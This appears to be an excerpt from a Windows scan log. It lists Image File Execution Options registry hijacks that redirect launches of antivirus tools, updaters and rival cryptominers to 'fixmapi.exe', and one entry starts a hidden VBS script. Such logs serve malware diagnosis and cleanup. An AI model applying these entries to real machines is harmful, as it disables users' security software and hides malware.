[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmsh.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winmm.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ServiceApp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmefss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wasppacer.exe] 'debugger' = 'ipz2.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wasppacer.exe] 'debugger' = 'ipz.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fwnrww.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\secscan.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogons.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wasub.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Windows10UpgraderApp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrafInsp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nssm.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ipz.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuaudt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdts.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winmhjqkn.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jingling.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ForServiceApp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brutb.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cgminer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmefsh.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ipz2.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinPatrol.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\expmon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\massscan_launcher.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explores.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\skrolls.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\storectrl.dll] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows nt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsynchost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClearLock.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Intelme.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchoct.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smsss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mineos.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-aes-sse42.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSSysCtl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AES.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Drop Box Update.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rebel Botnet.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prkiller.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vnchosts.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xDedicLogCleaner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeCP.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSP.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Client Server Runtime Procces.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\miner65.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svch0st.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Tasksmgrs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kryptex7.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kryptex.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbox.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemIDLE.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Trjscan.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\System Idle Process.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mssm-xsc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak-cpu.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccminer-x64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTservice.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTgui.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTcli.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SCTCleanupService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\starter_avp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HitmanPro x64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HS_Svc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\seth.exe] 'debugger' = 'drmsvc.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX_AES.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\esif.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccsce.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reminder.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wahiver.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wahiver64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wasp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscce.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\waspwing.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WMIC.exe.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\debugger] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fixmapi.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SearchProtocolHos.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qpis.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devencl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iddlen.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msapp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\boost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\praetorian.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBSRService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsmon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zlclient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcLi.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hpssmhd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TIASPN~1.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlog.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssas.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASP.NET.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWCtlSrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWIdlMon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xngiesa.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winpoint.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GlassWire.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\op_mon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.ServiceHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.Systray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd_dp_com.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd_cp_fr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sys32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winhost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nusb3mon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SQLSystem.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Javagroup.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wizard.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mscvin.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSafeTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DrWeb.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsb.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OOSU10.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windir.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_cp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Interl thesaurus service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VC90.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CrashService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mouse Lock_v22.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wprehwc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TpmInit.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Windows10Upgrade.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EOSNotify.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsmosee.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdown.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsst.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-active.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svhosr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinHide.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpnet.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetLibrary.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetFramework.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servidor.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icsys.icn.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu-32] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRManager.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRFeature.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostStore.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveSecurity.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSvchost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolvs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmmt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmmt64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvnc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-sse42.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-app.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-app.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-update.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemDriveHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VVUDFHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcn.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-api.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windrws.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmrig.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Conime.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spywareblaster.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winidow.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSetting.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servicess.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosts.exe] 'debugger' = 'fixmapi.exe'
